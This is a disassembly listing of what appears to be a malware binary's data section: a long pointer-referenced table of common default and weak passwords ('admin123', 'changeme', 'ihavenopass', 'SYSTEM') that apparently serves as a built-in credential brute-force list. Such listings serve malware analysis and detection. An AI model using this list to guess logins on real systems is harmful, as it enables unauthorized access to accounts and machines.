		align 4
aCook		db 'cook',0             ; DATA XREF: .data:0042F1ACo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40EC43+2047o
					; .data:0042F1A8o
		align 4
aConsole	db 'console',0          ; DATA XREF: .data:0042F1A4o
aConserva	db 'conserva',0         ; DATA XREF: .data:0042F1A0o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: .data:0042F19Co
		align 4
aCondom		db 'condom',0           ; DATA XREF: .data:0042F194o
		align 10h
aCondo		db 'condo',0            ; DATA XREF: .data:0042F190o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: .data:0042F18Co
		align 4
aComrade	db 'comrade',0          ; DATA XREF: .data:0042F188o
aComputin	db 'computin',0         ; DATA XREF: .data:0042F184o
		align 4
aCompany	db 'company',0          ; DATA XREF: .data:0042F180o
aCommrade	db 'commrade',0         ; DATA XREF: .data:0042F17Co
		align 4
aCommit		db 'commit',0           ; DATA XREF: .data:0042F178o
		align 4
aComics		db 'comics',0           ; DATA XREF: .data:0042F174o
		align 4
aCombat		db 'combat',0           ; DATA XREF: .data:0042F170o
		align 4
aColor		db 'color',0            ; DATA XREF: .data:0042F16Co
		align 4
aCollins	db 'collins',0          ; DATA XREF: .data:0042F168o
aCold		db 'cold',0             ; DATA XREF: .data:0042F164o
		align 4
aCola		db 'cola',0             ; DATA XREF: .data:0042F160o
		align 4
aCoke		db 'coke',0             ; DATA XREF: .data:0042F15Co
		align 4
aCoin		db 'coin',0             ; DATA XREF: .data:0042F158o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: .data:0042F154o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: .data:0042F150o
		align 4
aCodename	db 'codename',0         ; DATA XREF: .data:0042F14Co
		align 4
aCode		db 'code',0             ; DATA XREF: .data:0042F148o
		align 4
aCock		db 'cock',0             ; DATA XREF: .data:0042F144o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: .data:0042F140o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: .data:0042F13Co
		align 4
aCoast		db 'coast',0            ; DATA XREF: .data:0042F138o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: .data:0042F134o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: .data:0042F130o
aClinton	db 'clinton',0          ; DATA XREF: .data:0042F12Co
aCleavage	db 'cleavage',0         ; DATA XREF: .data:0042F128o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: .data:0042F124o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: .data:0042F120o
aClassic	db 'classic',0          ; DATA XREF: .data:0042F11Co
aClasses	db 'classes',0          ; DATA XREF: .data:0042F118o
aClass		db 'class',0            ; DATA XREF: .data:0042F114o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: .data:0042F110o
		align 10h
aCigarett	db 'cigarett',0         ; DATA XREF: .data:0042F10Co
		align 4
aCigar		db 'cigar',0            ; DATA XREF: .data:0042F108o
		align 4
aChristy	db 'christy',0          ; DATA XREF: .data:0042F104o
aChristin	db 'christin',0         ; DATA XREF: .data:0042F100o
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:0042F0FCo
		align 10h
aChip		db 'chip',0             ; DATA XREF: .data:0042F0F8o
		align 4
aChester	db 'chester',0          ; DATA XREF: .data:0042F0F4o
aChess		db 'chess',0            ; DATA XREF: .data:0042F0F0o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: .data:0042F0ECo
		align 4
aChem		db 'chem',0             ; DATA XREF: .data:0042F0E8o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: .data:0042F0E4o
		align 4
aCharon		db 'charon',0           ; DATA XREF: .data:0042F0E0o
		align 4
aCharming	db 'charming',0         ; DATA XREF: .data:0042F0DCo
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: .data:0042F0D8o
aCharles	db 'charles',0          ; DATA XREF: .data:0042F0D4o
aCharity	db 'charity',0          ; DATA XREF: .data:0042F0D0o
aChange		db 'change',0           ; DATA XREF: .data:0042F0CCo
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: .data:0042F0C8o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: .data:0042F0C4o
aCeltic		db 'celtic',0           ; DATA XREF: .data:0042F0C0o
		align 4
aCelt		db 'celt',0             ; DATA XREF: .data:0042F0BCo
		align 4
aCecily		db 'cecily',0           ; DATA XREF: .data:0042F0B8o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: .data:0042F0B4o
		align 4
aCave		db 'cave',0             ; DATA XREF: .data:0042F0B0o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: .data:0042F0ACo
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: .data:0042F0A8o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: .data:0042F0A4o
		align 4
aCastle		db 'castle',0           ; DATA XREF: .data:0042F0A0o
		align 4
aCash		db 'cash',0             ; DATA XREF: .data:0042F09Co
		align 4
aCascades	db 'cascades',0         ; DATA XREF: .data:0042F098o
		align 10h
aCarson		db 'carson',0           ; DATA XREF: .data:0042F094o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: .data:0042F090o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: .data:0042F08Co
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: .data:0042F088o
		align 4
aCarole		db 'carole',0           ; DATA XREF: .data:0042F084o
		align 10h
aCarol		db 'carol',0            ; DATA XREF: .data:0042F080o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: .data:0042F07Co
		align 10h
aCarla		db 'carla',0            ; DATA XREF: .data:0042F078o
		align 4
aCaren		db 'caren',0            ; DATA XREF: .data:0042F074o
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: .data:0042F070o
		align 4
aCard		db 'card',0             ; DATA XREF: .data:0042F06Co
		align 4
aCapture	db 'capture',0          ; DATA XREF: .data:0042F068o
aCaptain	db 'captain',0          ; DATA XREF: .data:0042F064o
aCantor		db 'cantor',0           ; DATA XREF: .data:0042F060o
		align 4
aCandy		db 'candy',0            ; DATA XREF: .data:0042F05Co
		align 4
aCandi		db 'candi',0            ; DATA XREF: .data:0042F058o
		align 4
aCamping	db 'camping',0          ; DATA XREF: .data:0042F054o
aCampanil	db 'campanil',0         ; DATA XREF: .data:0042F050o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: .data:0042F04Co
aCaliforn	db 'californ',0         ; DATA XREF: .data:0042F048o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: .data:0042F044o
		align 10h
aButt		db 'butt',0             ; DATA XREF: .data:0042F040o
		align 4
aButch		db 'butch',0            ; DATA XREF: .data:0042F03Co
		align 10h
aBurn		db 'burn',0             ; DATA XREF: .data:0042F038o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: .data:0042F034o
aBung		db 'bung',0             ; DATA XREF: .data:0042F030o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: .data:0042F02Co
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: .data:0042F028o
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: .data:0042F024o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: .data:0042F020o
		align 4
aBrute		db 'brute',0            ; DATA XREF: .data:0042F01Co
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: .data:0042F018o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: .data:0042F014o
aBroadway	db 'broadway',0         ; DATA XREF: .data:0042F010o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: .data:0042F00Co
aBrian		db 'brian',0            ; DATA XREF: .data:0042F008o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: .data:0042F004o
		align 4
aBreast		db 'breast',0           ; DATA XREF: .data:0042F000o
		align 4
aBreak		db 'break',0            ; DATA XREF: .data:0042EFFCo
		align 4
aBravo		db 'bravo',0            ; DATA XREF: .data:0042EFF8o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: .data:0042EFF4o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: .data:0042EFF0o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: .data:0042EFECo
aBoyscout	db 'boyscout',0         ; DATA XREF: .data:0042EFE8o
		align 10h
aBorn		db 'born',0             ; DATA XREF: .data:0042EFE4o
		align 4
aBook		db 'book',0             ; DATA XREF: .data:0042EFE0o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: .data:0042EFDCo
		align 4
aBoob		db 'boob',0             ; DATA XREF: .data:0042EFD8o
		align 10h
aBoner		db 'boner',0            ; DATA XREF: .data:0042EFD4o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: .data:0042EFD0o
		align 10h
aBoard		db 'board',0            ; DATA XREF: .data:0042EFCCo
		align 4
aBlues		db 'blues',0            ; DATA XREF: .data:0042EFC8o
		align 10h
aBlue		db 'blue',0             ; DATA XREF: .data:0042EFC4o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: .data:0042EFC0o
aBlow		db 'blow',0             ; DATA XREF: .data:0042EFBCo
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .data:0042EFB8o
		align 4
aBlood		db 'blood',0            ; DATA XREF: .data:0042EFB4o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: .data:0042EFB0o
aBlonde		db 'blonde',0           ; DATA XREF: .data:0042EFACo
		align 4
aBlack		db 'black',0            ; DATA XREF: .data:0042EFA8o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .data:0042EFA4o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: .data:0042EFA0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:0042EF9Co
		align 4
aBishop		db 'bishop',0           ; DATA XREF: .data:0042EF98o
		align 4
aBird		db 'bird',0             ; DATA XREF: .data:0042EF94o
		align 4
aBios		db 'bios',0             ; DATA XREF: .data:0042EF90o
		align 4
aBinary		db 'binary',0           ; DATA XREF: .data:0042EF8Co
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0042EF88o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .data:0042EF84o
aBicamera	db 'bicamera',0         ; DATA XREF: .data:0042EF80o
		align 4
aBible		db 'bible',0            ; DATA XREF: .data:0042EF7Co
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: .data:0042EF78o
aBetty		db 'betty',0            ; DATA XREF: .data:0042EF74o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: .data:0042EF70o
		align 4
aBeth		db 'beth',0             ; DATA XREF: .data:0042EF6Co
		align 10h
aBeta		db 'beta',0             ; DATA XREF: .data:0042EF68o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: .data:0042EF64o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: .data:0042EF60o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: .data:0042EF5Co
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: .data:0042EF58o
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: .data:0042EF54o
aBenz		db 'benz',0             ; DATA XREF: .data:0042EF50o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: .data:0042EF4Co
aBell		db 'bell',0             ; DATA XREF: .data:0042EF48o
		align 10h
aBehead		db 'behead',0           ; DATA XREF: .data:0042EF44o
		align 4
aBegin		db 'begin',0            ; DATA XREF: .data:0042EF40o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: .data:0042EF3Co
		align 4
aBecky		db 'becky',0            ; DATA XREF: .data:0042EF38o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .data:0042EF34o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: .data:0042EF30o
		align 4
aBeater		db 'beater',0           ; DATA XREF: .data:0042EF2Co
		align 4
aBeast		db 'beast',0            ; DATA XREF: .data:0042EF28o
		align 4
aBear		db 'bear',0             ; DATA XREF: .data:0042EF24o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .data:0042EF20o
		align 4
aBeach		db 'beach',0            ; DATA XREF: .data:0042EF1Co
		align 10h
aBatman		db 'batman',0           ; DATA XREF: .data:0042EF18o
		align 4
aBatch		db 'batch',0            ; DATA XREF: .data:0042EF14o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: .data:0042EF10o
aBass		db 'bass',0             ; DATA XREF: .data:0042EF0Co
		align 10h
aBasic		db 'basic',0            ; DATA XREF: .data:0042EF08o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: .data:0042EF04o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .data:0042EF00o
aBart		db 'bart',0             ; DATA XREF: .data:0042EEFCo
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .data:0042EEF8o
		align 10h
aBarf		db 'barf',0             ; DATA XREF: .data:0042EEF4o
		align 4
aBare		db 'bare',0             ; DATA XREF: .data:0042EEF0o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: .data:0042EEECo
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: .data:0042EEE8o
aBanks		db 'banks',0            ; DATA XREF: .data:0042EEE4o
		align 4
aBank		db 'bank',0             ; DATA XREF: .data:0042EEE0o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: .data:0042EEDCo
		align 4
aBananas	db 'bananas',0          ; DATA XREF: .data:0042EED8o
aBanana		db 'banana',0           ; DATA XREF: .data:0042EED4o
		align 4
aBall		db 'ball',0             ; DATA XREF: .data:0042EED0o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: .data:0042EECCo
		align 4
aBadass		db 'badass',0           ; DATA XREF: .data:0042EEC8o
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: .data:0042EEC4o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: .data:0042EEC0o
aBaby		db 'baby',0             ; DATA XREF: .data:0042EEBCo
		align 4
aBabe		db 'babe',0             ; DATA XREF: .data:0042EEB8o
		align 4
aAzure		db 'azure',0            ; DATA XREF: .data:0042EEB4o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: .data:0042EEB0o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .data:0042EEACo
		align 10h
aAttack		db 'attack',0           ; DATA XREF: .data:0042EEA8o
		align 4
aAtom		db 'atom',0             ; DATA XREF: .data:0042EEA4o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .data:0042EEA0o
		align 4
aAthena		db 'athena',0           ; DATA XREF: .data:0042EE9Co
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .data:0042EE98o
aAsian		db 'asian',0            ; DATA XREF: .data:0042EE94o
		align 4
aArtist		db 'artist',0           ; DATA XREF: .data:0042EE90o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: .data:0042EE8Co
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .data:0042EE88o
		align 4
aArmy		db 'army',0             ; DATA XREF: .data:0042EE84o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: .data:0042EE80o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: .data:0042EE7Co
aAria		db 'aria',0             ; DATA XREF: .data:0042EE78o
		align 4
aApril		db 'april',0            ; DATA XREF: .data:0042EE74o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .data:0042EE70o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: .data:0042EE6Co
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: .data:0042EE68o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: .data:0042EE64o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: .data:0042EE60o
aAnswer		db 'answer',0           ; DATA XREF: .data:0042EE5Co
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: .data:0042EE58o
		align 4
aAnon		db 'anon',0             ; DATA XREF: .data:0042EE54o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .data:0042EE50o
aAnne		db 'anne',0             ; DATA XREF: .data:0042EE4Co
		align 4
aAnna		db 'anna',0             ; DATA XREF: .data:0042EE48o
		align 4
aAnita		db 'anita',0            ; DATA XREF: .data:0042EE44o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .data:0042EE40o
aAnimal		db 'animal',0           ; DATA XREF: .data:0042EE3Co
		align 4
aAngie		db 'angie',0            ; DATA XREF: .data:0042EE38o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .data:0042EE34o
		align 4
aAngela		db 'angela',0           ; DATA XREF: .data:0042EE30o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: .data:0042EE2Co
		align 4
aAndy		db 'andy',0             ; DATA XREF: .data:0042EE28o
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: .data:0042EE24o
		align 4
aAndroid	db 'android',0          ; DATA XREF: .data:0042EE20o
aAndrea		db 'andrea',0           ; DATA XREF: .data:0042EE1Co
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: .data:0042EE18o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .data:0042EE14o
aAnarchis	db 'anarchis',0         ; DATA XREF: .data:0042EE10o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: .data:0042EE0Co
		align 10h
aAnal		db 'anal',0             ; DATA XREF: .data:0042EE08o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: .data:0042EE04o
		align 4
aAmerica	db 'america',0          ; DATA XREF: .data:0042EE00o
aAmber		db 'amber',0            ; DATA XREF: .data:0042EDFCo
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: .data:0042EDF8o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .data:0042EDF4o
aAlphabet	db 'alphabet',0         ; DATA XREF: .data:0042EDF0o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: .data:0042EDECo
		align 4
aAllison	db 'allison',0          ; DATA XREF: .data:0042EDE8o
aAlison		db 'alison',0           ; DATA XREF: .data:0042EDE4o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: .data:0042EDE0o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: .data:0042EDDCo
		align 4
aAlice		db 'alice',0            ; DATA XREF: .data:0042EDD8o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: .data:0042EDD4o
aAlias		db 'alias',0            ; DATA XREF: .data:0042EDD0o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: .data:0042EDCCo
aAlexande	db 'alexande',0         ; DATA XREF: .data:0042EDC8o
		align 4
aAlex		db 'alex',0             ; DATA XREF: .data:0042EDC4o
		align 4
aAlert		db 'alert',0            ; DATA XREF: .data:0042EDC0o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .data:0042EDBCo
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .data:0042EDB8o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: .data:0042EDB4o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: .data:0042EDB0o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: .data:0042EDACo
		align 4
aAids		db 'aids',0             ; DATA XREF: .data:0042EDA8o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .data:0042EDA4o
		align 4
aAdult		db 'adult',0            ; DATA XREF: .data:0042EDA0o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: .data:0042ED9Co
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .data:0042ED98o
		align 4
aAdam		db 'adam',0             ; DATA XREF: .data:0042ED94o
		align 4
aAction		db 'action',0           ; DATA XREF: .data:0042ED90o
		align 4
aAccount	db 'account',0          ; DATA XREF: .data:0042ED8Co
aAcademic	db 'academic',0         ; DATA XREF: .data:0042ED84o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .data:0042ED80o
		align 4
a000000		db '000000',0           ; DATA XREF: .data:0042ED7Co
		align 4
a00000		db '00000',0            ; DATA XREF: .data:0042ED78o
		align 4
a0000		db '0000',0             ; DATA XREF: .data:0042ED74o
		align 4
a000		db '000',0              ; DATA XREF: .data:0042ED70o
aTesting	db 'testing',0          ; DATA XREF: .data:0042ED6Co
aDeath		db 'death',0            ; DATA XREF: .data:0042ED68o
		align 10h
a00		db '00',0               ; DATA XREF: .data:0042ED64o
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .data:0042ED5Co
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .data:0042ED58o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .data:0042ED54o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .data:0042ED50o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .data:0042ED4Co
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .data:0042ED48o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .data:0042ED44o
aXx		db 'xx',0               ; DATA XREF: .data:0042ED40o
		align 4
asc_433F74:				; DATA XREF: .data:0042ED3Co
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .data:0042ED38o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .data:0042ED34o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .data:0042ED30o
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: .data:0042ED2Co
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .data:0042ED28o
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .data:0042ED24o
		align 10h
aScript		db 'script',0           ; DATA XREF: .data:0042ED20o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: .data:0042ED1Co
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: .data:0042ED18o
		align 4
aL337		db 'l337',0             ; DATA XREF: .data:0042ED14o
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: .data:0042ED10o
		align 4
aLeet		db 'leet',0             ; DATA XREF: .data:0042ED0Co
		align 10h
aKiller		db 'killer',0           ; DATA XREF: .data:0042ED08o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .data:0042ED04o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: .data:0042ED00o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: .data:0042ECFCo
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: .data:0042ECF8o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: .data:0042ECF4o
aSatanik	db 'satanik',0          ; DATA XREF: .data:0042ECF0o
aSatan		db 'satan',0            ; DATA XREF: .data:0042ECECo
		align 4
aGobo		db 'gobo',0             ; DATA XREF: .data:0042ECE8o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .data:0042ECE4o
aMatt		db 'Matt',0             ; DATA XREF: .data:0042ECE0o
		align 4
aMat		db 'Mat',0              ; DATA XREF: .data:0042ECDCo
aPw		db 'pw',0               ; DATA XREF: .data:0042ECD8o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .data:0042ECD4o
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: .data:0042ECD0o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: .data:0042ECCCo
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: .data:0042ECC8o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .data:0042ECC4o
aMypc		db 'mypc',0             ; DATA XREF: .data:0042ECC0o
		align 4
aLove		db 'love',0             ; DATA XREF: .data:0042ECBCo
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .data:0042ECB8o
aLogin		db 'login',0            ; DATA XREF: .data:0042ECB4o
		align 10h
aHome		db 'home',0             ; DATA XREF: .data:0042ECB0o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: .data:0042ECACo
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: .data:0042ECA8o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .data:0042ECA4o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: .data:0042ECA0o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .data:0042EC9Co
		align 10h
aPc		db 'pc',0               ; DATA XREF: .data:0042EC98o
		align 4
aWin		db 'win',0              ; DATA XREF: .data:0042EC94o
aTest123	db 'test123',0          ; DATA XREF: .data:0042EC90o
aAbc		db 'abc',0              ; DATA XREF: .data:0042EC8Co
aAaa		db 'aaa',0              ; DATA XREF: .data:0042EC88o
aA_1:					; DATA XREF: .data:0042EC84o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .data:0042EC80o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .data:0042EC7Co
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .data:0042EC78o
aIrule		db 'irule',0            ; DATA XREF: .data:0042EC74o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .data:0042EC70o
		align 4
a0wned		db '0wned',0            ; DATA XREF: .data:0042EC6Co
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .data:0042EC68o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: .data:0042EC64o
		align 4
aDevil		db 'devil',0            ; DATA XREF: .data:0042EC60o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .data:0042EC5Co
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .data:0042EC58o
		align 4
aGod		db 'god',0              ; DATA XREF: .data:0042EC54o
aSex		db 'sex',0              ; DATA XREF: .data:0042EC50o
aPat		db 'pat',0              ; DATA XREF: .data:0042EC4Co
aPatrick	db 'patrick',0          ; DATA XREF: .data:0042EC48o
aAlpha		db 'alpha',0            ; DATA XREF: .data:0042EC44o
		align 4
a007		db '007',0              ; DATA XREF: .data:0042EC40o
a123abc		db '123abc',0           ; DATA XREF: .data:0042EC3Co
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .data:0042EC38o
		align 10h
a123123		db '123123',0           ; DATA XREF: .data:0042EC34o
		align 4
a121212		db '121212',0           ; DATA XREF: .data:0042EC30o
		align 10h
a111111		db '111111',0           ; DATA XREF: .data:0042EC2Co
		align 4
a110		db '110',0              ; DATA XREF: .data:0042EC28o
a2600		db '2600',0             ; DATA XREF: .data:0042EC24o
		align 4
a2002		db '2002',0             ; DATA XREF: .data:0042EC1Co
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .data:0042EC18o
		align 10h
aEnable		db 'enable',0           ; DATA XREF: .data:0042EC14o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .data:0042EC10o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .data:0042EC0Co
a123asd		db '123asd',0           ; DATA XREF: .data:0042EC08o
		align 4
aSuper		db 'super',0            ; DATA XREF: .data:0042EC04o
		align 10h
aInternet	db 'Internet',0         ; DATA XREF: .data:0042EC00o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .data:0042EBF8o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: .data:0042EBF4o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .data:0042EBECo
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .data:0042EBE8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:0042EBE0o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .data:0042EBDCo
		align 4
a88888888	db '88888888',0         ; DATA XREF: .data:0042EBD8o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .data:0042EBD4o
		align 4
a111		db '111',0              ; DATA XREF: .data:0042EBD0o
a54321		db '54321',0            ; DATA XREF: .data:0042EBCCo
		align 10h
a654321		db '654321',0           ; DATA XREF: .data:0042EBC8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0042EBC4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .data:0042EBC0o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: .data:0042EBBCo
a123456		db '123456',0           ; DATA XREF: .data:0042EBB8o
		align 10h
a12345		db '12345',0            ; DATA XREF: .data:0042EBB4o
		align 4
a1234		db '1234',0             ; DATA XREF: .data:0042EBB0o
		align 10h
a123		db '123',0              ; DATA XREF: .data:0042EBACo
a12		db '12',0               ; DATA XREF: .data:0042EBA8o
		align 4
a1_0:					; DATA XREF: .data:0042EBA4o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .data:0042EBA0o
aChangeme_0	db 'Changeme',0         ; DATA XREF: .data:0042EB9Co
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: .data:0042EB98o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0042EB94o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:0042EB90o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .data:0042EB8Co
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .data:0042EB88o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: .data:0042EB84o
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: .data:0042EB80o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .data:0042EB7Co
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .data:0042EB74o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .data:0042EB70o
		align 4
aEdu		db 'edu',0              ; DATA XREF: .data:0042EB6Co
aOwner_1	db 'Owner',0            ; DATA XREF: .data:0042EB68o
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: .data:0042EB64o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .data:0042EB60o
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: .data:0042EB5Co
		align 4
aRead		db 'READ',0             ; DATA XREF: .data:0042EB58o
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: .data:0042EB54o
		align 4
